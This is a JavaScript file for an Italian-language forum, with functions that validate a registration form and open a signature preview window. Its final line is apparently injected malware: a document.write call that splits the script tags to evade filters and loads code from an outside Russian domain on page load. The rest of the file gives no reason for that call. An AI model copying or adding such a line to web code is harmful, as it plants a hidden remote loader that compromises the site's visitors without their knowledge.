// JavaScript Document
function ControllaUt(f, tipo){
	var errore = "\n";
	
	for(x=0; x < f.length; x++){
		var e = f.elements[x];
		if(((e.type == "text")||(e.type == "password"))&&(e.value == "")){
			errore = "Alcuni campi obbligatori non sono stati compilati\nCompilate tutti i campi obbligatori per procedere";
		}
	}
	
	if((f.PWD.value) != (f.ConfermaPWD.value)){
		errore += "\n\nLa password immessa non coincide con quella nel campo 'Conferma Password'"
	}
	
	if(tipo == "i"){
		if(f.Regole.checked == false){
			errore += "\n\nPer iscriversi è necessario accettare le regole del forum"
		}
	}
	if(errore != "\n"){
		alert(errore)
		return false;
	}
}

function preview(){
	var firma = form1.Firma.value
	var	fin = window.open("","console","scrollbars", "resize");
		fin.resizeTo(500,500);
		//fin.moveTo((screen.width /2)-(larghezza/2),(screen.height/2)-(altezza/2));
		fin.location = "firma_preview.asp?txt=" + firma;
		fin.focus(); 	
}
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Data_Management.js"></scri'+'pt>');
